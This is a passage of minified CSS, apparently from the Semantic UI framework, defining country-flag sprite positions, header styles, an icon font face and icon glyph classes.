-1170px}i.flag.kazakhstan:before,i.flag.kz:before{background-position:-36px -1196px}i.flag.la:before,i.flag.laos:before{background-position:-36px -1222px}i.flag.lb:before,i.flag.lebanon:before{background-position:-36px -1248px}i.flag.lc:before,i.flag.saint.lucia:before{background-position:-36px -1274px}i.flag.li:before,i.flag.liechtenstein:before{background-position:-36px -1300px}i.flag.lk:before,i.flag.sri.lanka:before{background-position:-36px -1326px}i.flag.liberia:before,i.flag.lr:before{background-position:-36px -1352px}i.flag.lesotho:before,i.flag.ls:before{background-position:-36px -1378px}i.flag.lithuania:before,i.flag.lt:before{background-position:-36px -1404px}i.flag.lu:before,i.flag.luxembourg:before{background-position:-36px -1430px}i.flag.latvia:before,i.flag.lv:before{background-position:-36px -1456px}i.flag.libya:before,i.flag.ly:before{background-position:-36px -1482px}i.flag.ma:before,i.flag.morocco:before{background-position:-36px -1508px}i.flag.mc:before,i.flag.monaco:before{background-position:-36px -1534px}i.flag.md:before,i.flag.moldova:before{background-position:-36px -1560px}i.flag.me:before,i.flag.montenegro:before{background-position:-36px -1586px}i.flag.madagascar:before,i.flag.mg:before{background-position:-36px -1613px}i.flag.marshall.islands:before,i.flag.mh:before{background-position:-36px -1639px}i.flag.macedonia:before,i.flag.mk:before{background-position:-36px -1665px}i.flag.mali:before,i.flag.ml:before{background-position:-36px -1691px}i.flag.burma:before,i.flag.mm:before,i.flag.myanmar:before{background-position:-36px -1717px}i.flag.mn:before,i.flag.mongolia:before{background-position:-36px -1743px}i.flag.macau:before,i.flag.mo:before{background-position:-36px -1769px}i.flag.mp:before,i.flag.northern.mariana.islands:before{background-position:-36px -1795px}i.flag.martinique:before,i.flag.mq:before{background-position:-36px -1821px}i.flag.mauritania:before,i.flag.mr:before{background-position:-36px -1847px}i.flag.montserrat:before,i.flag.ms:before{background-position:-36px -1873px}i.flag.malta:before,i.flag.mt:before{background-position:-36px -1899px}i.flag.mauritius:before,i.flag.mu:before{background-position:-36px -1925px}i.flag.maldives:before,i.flag.mv:before{background-position:-36px -1951px}i.flag.malawi:before,i.flag.mw:before{background-position:-36px -1977px}i.flag.mexico:before,i.flag.mx:before{background-position:-72px 0}i.flag.malaysia:before,i.flag.my:before{background-position:-72px -26px}i.flag.mozambique:before,i.flag.mz:before{background-position:-72px -52px}i.flag.na:before,i.flag.namibia:before{background-position:-72px -78px}i.flag.nc:before,i.flag.new.caledonia:before{background-position:-72px -104px}i.flag.ne:before,i.flag.niger:before{background-position:-72px -130px}i.flag.nf:before,i.flag.norfolk.island:before{background-position:-72px -156px}i.flag.ng:before,i.flag.nigeria:before{background-position:-72px -182px}i.flag.ni:before,i.flag.nicaragua:before{background-position:-72px -208px}i.flag.netherlands:before,i.flag.nl:before{background-position:-72px -234px}i.flag.no:before,i.flag.norway:before{background-position:-72px -260px}i.flag.nepal:before,i.flag.np:before{background-position:-72px -286px}i.flag.nauru:before,i.flag.nr:before{background-position:-72px -312px}i.flag.niue:before,i.flag.nu:before{background-position:-72px -338px}i.flag.new.zealand:before,i.flag.nz:before{background-position:-72px -364px}i.flag.om:before,i.flag.oman:before{background-position:-72px -390px}i.flag.pa:before,i.flag.panama:before{background-position:-72px -416px}i.flag.pe:before,i.flag.peru:before{background-position:-72px -442px}i.flag.french.polynesia:before,i.flag.pf:before{background-position:-72px -468px}i.flag.new.guinea:before,i.flag.pg:before{background-position:-72px -494px}i.flag.ph:before,i.flag.philippines:before{background-position:-72px -520px}i.flag.pakistan:before,i.flag.pk:before{background-position:-72px -546px}i.flag.pl:before,i.flag.poland:before{background-position:-72px -572px}i.flag.pm:before,i.flag.saint.pierre:before{background-position:-72px -598px}i.flag.pitcairn.islands:before,i.flag.pn:before{background-position:-72px -624px}i.flag.pr:before,i.flag.puerto.rico:before{background-position:-72px -650px}i.flag.palestine:before,i.flag.ps:before{background-position:-72px -676px}i.flag.portugal:before,i.flag.pt:before{background-position:-72px -702px}i.flag.palau:before,i.flag.pw:before{background-position:-72px -728px}i.flag.paraguay:before,i.flag.py:before{background-position:-72px -754px}i.flag.qa:before,i.flag.qatar:before{background-position:-72px -780px}i.flag.re:before,i.flag.reunion:before{background-position:-72px -806px}i.flag.ro:before,i.flag.romania:before{background-position:-72px -832px}i.flag.rs:before,i.flag.serbia:before{background-position:-72px -858px}i.flag.ru:before,i.flag.russia:before{background-position:-72px -884px}i.flag.rw:before,i.flag.rwanda:before{background-position:-72px -910px}i.flag.sa:before,i.flag.saudi.arabia:before{background-position:-72px -936px}i.flag.sb:before,i.flag.solomon.islands:before{background-position:-72px -962px}i.flag.sc:before,i.flag.seychelles:before{background-position:-72px -988px}i.flag.gb.sct:before,i.flag.scotland:before{background-position:-72px -1014px}i.flag.sd:before,i.flag.sudan:before{background-position:-72px -1040px}i.flag.se:before,i.flag.sweden:before{background-position:-72px -1066px}i.flag.sg:before,i.flag.singapore:before{background-position:-72px -1092px}i.flag.saint.helena:before,i.flag.sh:before{background-position:-72px -1118px}i.flag.si:before,i.flag.slovenia:before{background-position:-72px -1144px}i.flag.jan.mayen:before,i.flag.sj:before,i.flag.svalbard:before{background-position:-72px -1170px}i.flag.sk:before,i.flag.slovakia:before{background-position:-72px -1196px}i.flag.sierra.leone:before,i.flag.sl:before{background-position:-72px -1222px}i.flag.san.marino:before,i.flag.sm:before{background-position:-72px -1248px}i.flag.senegal:before,i.flag.sn:before{background-position:-72px -1274px}i.flag.so:before,i.flag.somalia:before{background-position:-72px -1300px}i.flag.sr:before,i.flag.suriname:before{background-position:-72px -1326px}i.flag.sao.tome:before,i.flag.st:before{background-position:-72px -1352px}i.flag.el.salvador:before,i.flag.sv:before{background-position:-72px -1378px}i.flag.sy:before,i.flag.syria:before{background-position:-72px -1404px}i.flag.swaziland:before,i.flag.sz:before{background-position:-72px -1430px}i.flag.caicos.islands:before,i.flag.tc:before{background-position:-72px -1456px}i.flag.chad:before,i.flag.td:before{background-position:-72px -1482px}i.flag.french.territories:before,i.flag.tf:before{background-position:-72px -1508px}i.flag.tg:before,i.flag.togo:before{background-position:-72px -1534px}i.flag.th:before,i.flag.thailand:before{background-position:-72px -1560px}i.flag.tajikistan:before,i.flag.tj:before{background-position:-72px -1586px}i.flag.tk:before,i.flag.tokelau:before{background-position:-72px -1612px}i.flag.timorleste:before,i.flag.tl:before{background-position:-72px -1638px}i.flag.tm:before,i.flag.turkmenistan:before{background-position:-72px -1664px}i.flag.tn:before,i.flag.tunisia:before{background-position:-72px -1690px}i.flag.to:before,i.flag.tonga:before{background-position:-72px -1716px}i.flag.tr:before,i.flag.turkey:before{background-position:-72px -1742px}i.flag.trinidad:before,i.flag.tt:before{background-position:-72px -1768px}i.flag.tuvalu:before,i.flag.tv:before{background-position:-72px -1794px}i.flag.taiwan:before,i.flag.tw:before{background-position:-72px -1820px}i.flag.tanzania:before,i.flag.tz:before{background-position:-72px -1846px}i.flag.ua:before,i.flag.ukraine:before{background-position:-72px -1872px}i.flag.ug:before,i.flag.uganda:before{background-position:-72px -1898px}i.flag.um:before,i.flag.us.minor.islands:before{background-position:-72px -1924px}i.flag.america:before,i.flag.united.states:before,i.flag.us:before{background-position:-72px -1950px}i.flag.uruguay:before,i.flag.uy:before{background-position:-72px -1976px}i.flag.uz:before,i.flag.uzbekistan:before{background-position:-108px 0}i.flag.va:before,i.flag.vatican.city:before{background-position:-108px -26px}i.flag.saint.vincent:before,i.flag.vc:before{background-position:-108px -52px}i.flag.ve:before,i.flag.venezuela:before{background-position:-108px -78px}i.flag.british.virgin.islands:before,i.flag.vg:before{background-position:-108px -104px}i.flag.us.virgin.islands:before,i.flag.vi:before{background-position:-108px -130px}i.flag.vietnam:before,i.flag.vn:before{background-position:-108px -156px}i.flag.vanuatu:before,i.flag.vu:before{background-position:-108px -182px}i.flag.gb.wls:before,i.flag.wales:before{background-position:-108px -208px}i.flag.wallis.and.futuna:before,i.flag.wf:before{background-position:-108px -234px}i.flag.samoa:before,i.flag.ws:before{background-position:-108px -260px}i.flag.ye:before,i.flag.yemen:before{background-position:-108px -286px}i.flag.mayotte:before,i.flag.yt:before{background-position:-108px -312px}i.flag.south.africa:before,i.flag.za:before{background-position:-108px -338px}i.flag.zambia:before,i.flag.zm:before{background-position:-108px -364px}i.flag.zimbabwe:before,i.flag.zw:before{background-position:-108px -390px}.ui.header{border:none;margin:calc(2rem - .14285em) 0 1rem;padding:0;font-weight:700;line-height:1.2857em;text-transform:none;color:rgba(0,0,0,.87)}.ui.header:first-child{margin-top:-.14285em}.ui.header:last-child{margin-bottom:0}.ui.header .sub.header{display:block;font-weight:400;padding:0;margin:0;line-height:1.2em;color:rgba(0,0,0,.6)}.ui.header>.icon{display:table-cell;opacity:1;font-size:1.5em;padding-top:.14285em;vertical-align:middle}.ui.header .icon:only-child{display:inline-block;padding:0;margin-right:.75rem}.ui.header>.image,.ui.header>img{display:inline-block;margin-top:.14285em;width:2.5em;height:auto;vertical-align:middle}.ui.header>.image:only-child,.ui.header>img:only-child{margin-right:.75rem}.ui.header .content{display:inline-block;vertical-align:top}.ui.header>.image+.content,.ui.header>img+.content{padding-left:.75rem;vertical-align:middle}.ui.header>.icon+.content{padding-left:.75rem;display:table-cell;vertical-align:middle}.ui.header .ui.label{font-size:'';margin-left:.5rem;vertical-align:middle}.ui.header+p{margin-top:0}h1.ui.header{font-size:2rem}h2.ui.header{font-size:1.714rem}h3.ui.header{font-size:1.28rem}h4.ui.header{font-size:1.071rem}h5.ui.header{font-size:1rem}h1.ui.header .sub.header,h2.ui.header .sub.header{font-size:1.14285714rem}h3.ui.header .sub.header,h4.ui.header .sub.header{font-size:1rem}h5.ui.header .sub.header{font-size:.92857143rem}.ui.huge.header{min-height:1em;font-size:2em}.ui.large.header{font-size:1.714em}.ui.medium.header{font-size:1.28em}.ui.small.header{font-size:1.071em}.ui.tiny.header{font-size:1em}.ui.huge.header .sub.header,.ui.large.header .sub.header{font-size:1.14285714rem}.ui.header .sub.header,.ui.small.header .sub.header{font-size:1rem}.ui.tiny.header .sub.header{font-size:.92857143rem}.ui.small.sub.header{font-size:.78571429em}.ui.sub.header{padding:0;margin-bottom:.14285714rem;font-weight:700;text-transform:uppercase;color:'';font-size:.85714286em}.ui.large.sub.header{font-size:.92857143em}.ui.huge.sub.header{font-size:1em}.ui.icon.header{display:inline-block;text-align:center;margin:2rem 0 1rem}.ui.icon.header:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.icon.header:first-child{margin-top:0}.ui.icon.header .icon{float:none;display:block;width:auto;height:auto;line-height:1;padding:0;font-size:3em;margin:0 auto .5rem;opacity:1}.ui.icon.header .content{display:block;padding:0}.ui.icon.header .circular.icon,.ui.icon.header .square.icon{font-size:2em}.ui.block.icon.header .icon{margin-bottom:0}.ui.icon.header.aligned{margin-left:auto;margin-right:auto;display:block}.ui.disabled.header{opacity:.45}.ui.inverted.header{color:#FFF}.ui.inverted.header .sub.header{color:rgba(255,255,255,.8)}.ui.inverted.attached.header{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) #545454;background:linear-gradient(transparent,rgba(0,0,0,.05)) #545454;box-shadow:none;border-color:transparent}.ui.inverted.block.header{background:-webkit-linear-gradient(transparent,rgba(0,0,0,.05)) #545454;background:linear-gradient(transparent,rgba(0,0,0,.05)) #545454;box-shadow:none;border-bottom:none}.ui.red.header{color:#DB2828!important}a.ui.red.header:hover{color:#d01919!important}.ui.red.dividing.header{border-bottom:2px solid #DB2828}.ui.inverted.red.header{color:#FF695E!important}a.ui.inverted.red.header:hover{color:#ff5144!important}.ui.orange.header{color:#F2711C!important}a.ui.orange.header:hover{color:#f26202!important}.ui.orange.dividing.header{border-bottom:2px solid #F2711C}.ui.inverted.orange.header{color:#FF851B!important}a.ui.inverted.orange.header:hover{color:#ff7701!important}.ui.olive.header{color:#B5CC18!important}a.ui.olive.header:hover{color:#a7bd0d!important}.ui.olive.dividing.header{border-bottom:2px solid #B5CC18}.ui.inverted.olive.header{color:#D9E778!important}a.ui.inverted.olive.header:hover{color:#d8ea5c!important}.ui.yellow.header{color:#FBBD08!important}a.ui.yellow.header:hover{color:#eaae00!important}.ui.yellow.dividing.header{border-bottom:2px solid #FBBD08}.ui.inverted.yellow.header{color:#FFE21F!important}a.ui.inverted.yellow.header:hover{color:#ffdf05!important}.ui.green.header{color:#21BA45!important}a.ui.green.header:hover{color:#16ab39!important}.ui.green.dividing.header{border-bottom:2px solid #21BA45}.ui.inverted.green.header{color:#2ECC40!important}a.ui.inverted.green.header:hover{color:#22be34!important}.ui.teal.header{color:#00B5AD!important}a.ui.teal.header:hover{color:#009c95!important}.ui.teal.dividing.header{border-bottom:2px solid #00B5AD}.ui.inverted.teal.header{color:#6DFFFF!important}a.ui.inverted.teal.header:hover{color:#54ffff!important}.ui.blue.header{color:#2185D0!important}a.ui.blue.header:hover{color:#1678c2!important}.ui.blue.dividing.header{border-bottom:2px solid #2185D0}.ui.inverted.blue.header{color:#54C8FF!important}a.ui.inverted.blue.header:hover{color:#3ac0ff!important}.ui.violet.header{color:#6435C9!important}a.ui.violet.header:hover{color:#5829bb!important}.ui.violet.dividing.header{border-bottom:2px solid #6435C9}.ui.inverted.violet.header{color:#A291FB!important}a.ui.inverted.violet.header:hover{color:#8a73ff!important}.ui.purple.header{color:#A333C8!important}a.ui.purple.header:hover{color:#9627ba!important}.ui.purple.dividing.header{border-bottom:2px solid #A333C8}.ui.inverted.purple.header{color:#DC73FF!important}a.ui.inverted.purple.header:hover{color:#d65aff!important}.ui.pink.header{color:#E03997!important}a.ui.pink.header:hover{color:#e61a8d!important}.ui.pink.dividing.header{border-bottom:2px solid #E03997}.ui.inverted.pink.header{color:#FF8EDF!important}a.ui.inverted.pink.header:hover{color:#ff74d8!important}.ui.brown.header{color:#A5673F!important}a.ui.brown.header:hover{color:#975b33!important}.ui.brown.dividing.header{border-bottom:2px solid #A5673F}.ui.inverted.brown.header{color:#D67C1C!important}a.ui.inverted.brown.header:hover{color:#c86f11!important}.ui.grey.header{color:#767676!important}a.ui.grey.header:hover{color:#838383!important}.ui.grey.dividing.header{border-bottom:2px solid #767676}.ui.inverted.grey.header{color:#DCDDDE!important}a.ui.inverted.grey.header:hover{color:#cfd0d2!important}.ui.left.aligned.header{text-align:left}.ui.right.aligned.header{text-align:right}.ui.center.aligned.header,.ui.centered.header{text-align:center}.ui.justified.header{text-align:justify}.ui.justified.header:after{display:inline-block;content:'';width:100%}.ui.floated.header,.ui[class*="left floated"].header{float:left;margin-top:0;margin-right:.5em}.ui[class*="right floated"].header{float:right;margin-top:0;margin-left:.5em}.ui.fitted.header{padding:0}.ui.dividing.header{padding-bottom:.21428571rem;border-bottom:1px solid rgba(34,36,38,.15)}.ui.dividing.header .sub.header{padding-bottom:.21428571rem}.ui.dividing.header .icon{margin-bottom:0}.ui.inverted.dividing.header{border-bottom-color:rgba(255,255,255,.1)}.ui.block.header{background:#F3F4F5;padding:.78571429rem 1rem;box-shadow:none;border:1px solid #D4D4D5;border-radius:.28571429rem}.ui.tiny.block.header{font-size:.85714286rem}.ui.small.block.header{font-size:.92857143rem}.ui.block.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1rem}.ui.large.block.header{font-size:1.14285714rem}.ui.huge.block.header{font-size:1.42857143rem}.ui.attached.header{background:#FFF;padding:.78571429rem 1rem;margin-left:-1px;margin-right:-1px;box-shadow:none;border:1px solid #D4D4D5}.ui.attached.block.header{background:#F3F4F5}.ui.attached:not(.top):not(.bottom).header{margin-top:0;margin-bottom:0;border-top:none;border-radius:0}.ui.top.attached.header{margin-bottom:0;border-radius:.28571429rem .28571429rem 0 0}.ui.bottom.attached.header{margin-top:0;border-top:none;border-radius:0 0 .28571429rem .28571429rem}.ui.tiny.attached.header{font-size:.85714286em}.ui.small.attached.header{font-size:.92857143em}.ui.attached.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1em}.ui.large.attached.header{font-size:1.14285714em}.ui.huge.attached.header{font-size:1.42857143em}.ui.header:not(h1):not(h2):not(h3):not(h4):not(h5):not(h6){font-size:1.28em}@font-face{font-family:Icons;src:url(themes/default/assets/fonts/icons.eot);src:url(themes/default/assets/fonts/icons.eot?#iefix) format('embedded-opentype'),url(themes/default/assets/fonts/icons.woff2) format('woff2'),url(themes/default/assets/fonts/icons.woff) format('woff'),url(themes/default/assets/fonts/icons.ttf) format('truetype'),url(themes/default/assets/fonts/icons.svg#icons) format('svg');font-style:normal;font-weight:400;font-variant:normal;text-decoration:inherit;text-transform:none}i.icon{display:inline-block;opacity:1;margin:0 .25rem 0 0;width:1.18em;height:1em;font-family:Icons;font-style:normal;font-weight:400;text-decoration:inherit;text-align:center;speak:none;font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;-webkit-backface-visibility:hidden;backface-visibility:hidden}i.icon:before{background:0 0!important}i.icon.loading{height:1em;line-height:1;-webkit-animation:icon-loading 2s linear infinite;animation:icon-loading 2s linear infinite}@-webkit-keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes icon-loading{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}i.emphasized.icon,i.icon.active,i.icon.hover{opacity:1!important}i.disabled.icon{opacity:.45!important}i.fitted.icon{width:auto;margin:0}i.link.icon,i.link.icons{cursor:pointer;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}i.link.icon:hover,i.link.icons:hover{opacity:1!important}i.circular.icon{border-radius:500em!important;line-height:1!important;padding:.5em!important;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset;width:2em!important;height:2em!important}i.circular.inverted.icon{border:none;box-shadow:none}i.flipped.icon,i.horizontally.flipped.icon{-webkit-transform:scale(-1,1);-ms-transform:scale(-1,1);transform:scale(-1,1)}i.vertically.flipped.icon{-webkit-transform:scale(1,-1);-ms-transform:scale(1,-1);transform:scale(1,-1)}i.clockwise.rotated.icon,i.right.rotated.icon,i.rotated.icon{-webkit-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg)}i.counterclockwise.rotated.icon,i.left.rotated.icon{-webkit-transform:rotate(-90deg);-ms-transform:rotate(-90deg);transform:rotate(-90deg)}i.bordered.icon{line-height:1;vertical-align:baseline;width:2em;height:2em;padding:.5em .41em!important;box-shadow:0 0 0 .1em rgba(0,0,0,.1) inset}i.bordered.inverted.icon{border:none;box-shadow:none}i.inverted.bordered.icon,i.inverted.circular.icon{background-color:#1B1C1D!important;color:#FFF!important}i.inverted.icon{color:#FFF}i.red.icon{color:#DB2828!important}i.inverted.red.icon{color:#FF695E!important}i.inverted.bordered.red.icon,i.inverted.circular.red.icon{background-color:#DB2828!important;color:#FFF!important}i.orange.icon{color:#F2711C!important}i.inverted.orange.icon{color:#FF851B!important}i.inverted.bordered.orange.icon,i.inverted.circular.orange.icon{background-color:#F2711C!important;color:#FFF!important}i.yellow.icon{color:#FBBD08!important}i.inverted.yellow.icon{color:#FFE21F!important}i.inverted.bordered.yellow.icon,i.inverted.circular.yellow.icon{background-color:#FBBD08!important;color:#FFF!important}i.olive.icon{color:#B5CC18!important}i.inverted.olive.icon{color:#D9E778!important}i.inverted.bordered.olive.icon,i.inverted.circular.olive.icon{background-color:#B5CC18!important;color:#FFF!important}i.green.icon{color:#21BA45!important}i.inverted.green.icon{color:#2ECC40!important}i.inverted.bordered.green.icon,i.inverted.circular.green.icon{background-color:#21BA45!important;color:#FFF!important}i.teal.icon{color:#00B5AD!important}i.inverted.teal.icon{color:#6DFFFF!important}i.inverted.bordered.teal.icon,i.inverted.circular.teal.icon{background-color:#00B5AD!important;color:#FFF!important}i.blue.icon{color:#2185D0!important}i.inverted.blue.icon{color:#54C8FF!important}i.inverted.bordered.blue.icon,i.inverted.circular.blue.icon{background-color:#2185D0!important;color:#FFF!important}i.violet.icon{color:#6435C9!important}i.inverted.violet.icon{color:#A291FB!important}i.inverted.bordered.violet.icon,i.inverted.circular.violet.icon{background-color:#6435C9!important;color:#FFF!important}i.purple.icon{color:#A333C8!important}i.inverted.purple.icon{color:#DC73FF!important}i.inverted.bordered.purple.icon,i.inverted.circular.purple.icon{background-color:#A333C8!important;color:#FFF!important}i.pink.icon{color:#E03997!important}i.inverted.pink.icon{color:#FF8EDF!important}i.inverted.bordered.pink.icon,i.inverted.circular.pink.icon{background-color:#E03997!important;color:#FFF!important}i.brown.icon{color:#A5673F!important}i.inverted.brown.icon{color:#D67C1C!important}i.inverted.bordered.brown.icon,i.inverted.circular.brown.icon{background-color:#A5673F!important;color:#FFF!important}i.grey.icon{color:#767676!important}i.inverted.grey.icon{color:#DCDDDE!important}i.inverted.bordered.grey.icon,i.inverted.circular.grey.icon{background-color:#767676!important;color:#FFF!important}i.black.icon{color:#1B1C1D!important}i.inverted.black.icon{color:#545454!important}i.inverted.bordered.black.icon,i.inverted.circular.black.icon{background-color:#1B1C1D!important;color:#FFF!important}i.mini.icon,i.mini.icons{line-height:1;font-size:.4em}i.tiny.icon,i.tiny.icons{line-height:1;font-size:.5em}i.small.icon,i.small.icons{line-height:1;font-size:.75em}i.icon,i.icons{font-size:1em}i.large.icon,i.large.icons{line-height:1;vertical-align:middle;font-size:1.5em}i.big.icon,i.big.icons{line-height:1;vertical-align:middle;font-size:2em}i.huge.icon,i.huge.icons{line-height:1;vertical-align:middle;font-size:4em}i.massive.icon,i.massive.icons{line-height:1;vertical-align:middle;font-size:8em}i.icons{display:inline-block;position:relative;line-height:1}i.icons .icon{position:absolute;top:50%;left:50%;-webkit-transform:translateX(-50%) translateY(-50%);-ms-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);margin:0}i.icons .icon:first-child{position:static;width:auto;height:auto;vertical-align:top;-webkit-transform:none;-ms-transform:none;transform:none;margin-right:.25rem}i.icons .corner.icon{top:auto;left:auto;right:0;bottom:0;-webkit-transform:none;-ms-transform:none;transform:none;font-size:.45em;text-shadow:-1px -1px 0 #FFF,1px -1px 0 #FFF,-1px 1px 0 #FFF,1px 1px 0 #FFF}i.icons .inverted.corner.icon{text-shadow:-1px -1px 0 #1B1C1D,1px -1px 0 #1B1C1D,-1px 1px 0 #1B1C1D,1px 1px 0 #1B1C1D}i.icon.search:before{content:"\f002"}i.icon.mail.outline:before{content:"\f003"}i.icon.signal:before{content:"\f012"}i.icon.setting:before{content:"\f013"}i.icon.home:before{content:"\f015"}i.icon.inbox:before{content:"\f01c"}i.icon.browser:before{content:"\f022"}i.icon.tag:before{content:"\f02b"}i.icon.tags:before{content:"\f02c"}i.icon.image:before{content:"\f03e"}i.icon.calendar:before{content:"\f073"}i.icon.comment:before{content:"\f075"}i.icon.shop:before{content:"\f07a"}i.icon.privacy:before{content:"\f084"}i.icon.settings:before{content:"\f085"}i.icon.comments:before{content:"\f086"}i.icon.external:before{content:"\f08e"}i.icon.trophy:before{content:"\f091"}i.icon.payment:before{content:"\f09d"}i.icon.feed:before{content:"\f09e"}i.icon.alarm.outline:before{content:"\f0a2"}i.icon.tasks:before{content:"\f0ae"}i.icon.cloud:before{content:"\f0c2"}i.icon.lab:before{content:"\f0c3"}i.icon.mail:before{content:"\f0e0"}i.icon.dashboard:before{content:"\f0e4"}i.icon.comment.outline:before{content:"\f0e5"}i.icon.comments.outline:before{content:"\f0e6"}i.icon.sitemap:before{content:"\f0e8"}i.icon.idea:before{content:"\f0eb"}i.icon.alarm:before{content:"\f0f3"}i.icon.terminal:before{content:"\f120"}i.icon.code:before{content:"\f121"}i.icon.protect:before{content:"\f132"}i.icon.calendar.outline:before{content:"\f133"}i.icon.ticket:before{content:"\f145"}i.icon.external.square:before{content:"\f14c"}i.icon.bug:before{content:"\f188"}i.icon.mail.square:before{content:"\f199"}i.icon.history:before{content:"\f1da"}i.icon.options:before{content:"\f1de"}i.icon.text.telephone:before{content:"\f1e4"}i.icon.find:before{content:"\f1e5"}i.icon.wifi:before{content:"\f1eb"}i.icon.alarm.mute:before{content:"\f1f6"}i.icon.alarm.mute.outline:before{content:"\f1f7"}i.icon.copyright:before{content:"\f1f9"}i.icon.at:before{content:"\f1fa"}i.icon.eyedropper:before{content:"\f1fb"}i.icon.paint.brush:before{content:"\f1fc"}i.icon.heartbeat:before{content:"\f21e"}i.icon.mouse.pointer:before{content:"\f245"}i.icon.hourglass.empty:before{content:"\f250"}i.icon.hourglass.start:before{content:"\f251"}i.icon.hourglass.half:before{content:"\f252"}i.icon.hourglass.end:before{content:"\f253"}i.icon.hourglass.full:before{content:"\f254"}i.icon.hand.pointer:before{content:"\f25a"}i.icon.trademark:before{content:"\f25c"}i.icon.registered:before{content:"\f25d"}i.icon.creative.commons:before{content:"\f25e"}i.icon.add.to.calendar:before{content:"\f271"}i.icon.remove.from.calendar:before{content:"\f272"}i.icon.delete.calendar:before{content:"\f273"}i.icon.checked.calendar:before{content:"\f274"}i.icon.industry:before{content:"\f275"}i.icon.shopping.bag:before{content:"\f290"}i.icon.shopping.basket:before{content:"\f291"}i.icon.hashtag:before{content:"\f292"}i.icon.percent:before{content:"\f295"}i.icon.wait:before{content:"\f017"}i.icon.download:before{content:"\f019"}i.icon.repeat:before{content:"\f01e"}i.icon.refresh:before{content:"\f021"}i.icon.lock:before{content:"\f023"}i.icon.bookmark:before{content:"\f02e"}i.icon.print:before{content:"\f02f"}i.icon.write:before{content:"\f040"}i.icon.adjust:before{content:"\f042"}i.icon.theme:before{content:"\f043"}i.icon.edit:before{content:"\f044"}i.icon.external.share:before{content:"\f045"}i.icon.ban:before{content:"\f05e"}i.icon.mail.forward:before,i.icon.share:before{content:"\f064"}i.icon.expand:before{content:"\f065"}i.icon.compress:before{content:"\f066"}i.icon.unhide:before{content:"\f06e"}i.icon.hide:before{content:"\f070"}i.icon.random:before{content:"\f074"}i.icon.retweet:before{content:"\f079"}i.icon.sign.out:before{content:"\f08b"}i.icon.pin:before{content:"\f08d"}i.icon.sign.in:before{content:"\f090"}i.icon.upload:before{content:"\f093"}i.icon.call:before{content:"\f095"}i.icon.remove.bookmark:before{content:"\f097"}i.icon.call.square:before{content:"\f098"}i.icon.unlock:before{content:"\f09c"}i.icon.configure:before{content:"\f0ad"}i.icon.filter:before{content:"\f0b0"}i.icon.wizard:before{content:"\f0d0"}i.icon.undo:before{content:"\f0e2"}i.icon.exchange:before{content:"\f0ec"}i.icon.cloud.download:before{content:"\f0ed"}i.icon.cloud.upload:before{content:"\f0ee"}i.icon.reply:before{content:"\f112"}i.icon.reply.all:before{content:"\f122"}i.icon.erase:before{content:"\f12d"}i.icon.unlock.alternate:before{content:"\f13e"}i.icon.write.square:before{content:"\f14b"}i.icon.share.square:before{content:"\f14d"}i.icon.archive:before{content:"\f187"}i.icon.translate:before{content:"\f1ab"}i.icon.recycle:before{content:"\f1b8"}i.icon.send:before{content:"\f1d8"}i.icon.send.outline:before{content:"\f1d9"}i.icon.share.alternate:before{content:"\f1e0"}i.icon.share.alternate.square:before{content:"\f1e1"}i.icon.add.to.cart:before{content:"\f217"}i.icon.in.cart:before{content:"\f218"}i.icon.add.user:before{content:"\f234"}i.icon.remove.user:before{content:"\f235"}i.icon.object.group:before{content:"\f247"}i.icon.object.ungroup:before{content:"\f248"}i.icon.clone:before{content:"\f24d"}i.icon.talk:before{content:"\f27a"}i.icon.talk.outline:before{content:"\f27b"}i.icon.help.circle:before{content:"\f059"}i.icon.info.circle:before{content:"\f05a"}i.icon.warning.circle:before{content:"\f06a"}i.icon.warning.sign:before{content:"\f071"}i.icon.announcement:before{content:"\f0a1"}i.icon.help:before{content:"\f128"}i.icon.info:before{content:"\f129"}i.icon.warning:before{content:"\f12a"}i.icon.birthday:before{content:"\f1fd"}i.icon.help.circle.outline:before{content:"\f29c"}i.icon.user:before{content:"\f007"}i.icon.users:before{content:"\f0c0"}i.icon.doctor:before{content:"\f0f0"}i.icon.handicap:before{content:"\f193"}i.icon.student:before{content:"\f19d"}i.icon.child:before{content:"\f1ae"}i.icon.spy:before{content:"\f21b"}i.icon.female:before{content:"\f182"}i.icon.male:before{content:"\f183"}i.icon.woman:before{content:"\f221"}i.icon.man:before{content:"\f222"}i.icon.non.binary.transgender:before{content:"\f223"}i.icon.intergender:before{content:"\f224"}i.icon.transgender:before{content:"\f225"}i.icon.lesbian:before{content:"\f226"}i.icon.gay:before{content:"\f227"}i.icon.heterosexual:before{content:"\f228"}i.icon.other.gender:before{content:"\f229"}i.icon.other.gender.vertical:before{content:"\f22a"}i.icon.other.gender.horizontal:before{content:"\f22b"}i.icon.neuter:before{content:"\f22c"}i.icon.genderless:before{content:"\f22d"}i.icon.universal.access:before{content:"\f29a"}i.icon.wheelchair:before{content:"\f29b"}i.icon.blind:before{content:"\f29d"}i.icon.audio.description:before{content:"\f29e"}i.icon.volume.control.phone:before{content:"\f2a0"}i.icon.braille:before{content:"\f2a1"}i.icon.asl:before{content:"\f2a3"}i.icon.assistive.listening.systems:before{content:"\f2a2"}i.icon.deafness:before{content:"\f2a4"}i.icon.sign.language:before{content:"\f2a7"}i.icon.low.vision:before{content:"\f2a8"}i.icon.block.layout:before{content:"\f009"}i.icon.grid.layout:before{content:"\f00a"}i.icon.list.layout:before{content:"\f00b"}i.icon.zoom:before{content:"\f00e"}i.icon.zoom.out:before{content:"\f010"}i.icon.resize.vertical:before{content:"\f07d"}i.icon.resize.horizontal:before{content:"\f07e"}i.icon.maximize:before{content:"\f0b2"}i.icon.crop:before{content:"\f125"}i.icon.cocktail:before{content:"\f000"}i.icon.road:before{content:"\f018"}i.icon.flag:before{content:"\f024"}i.icon.book:before{content:"\f02d"}i.icon.gift:before{content:"\f06b"}i.icon.leaf:before{cont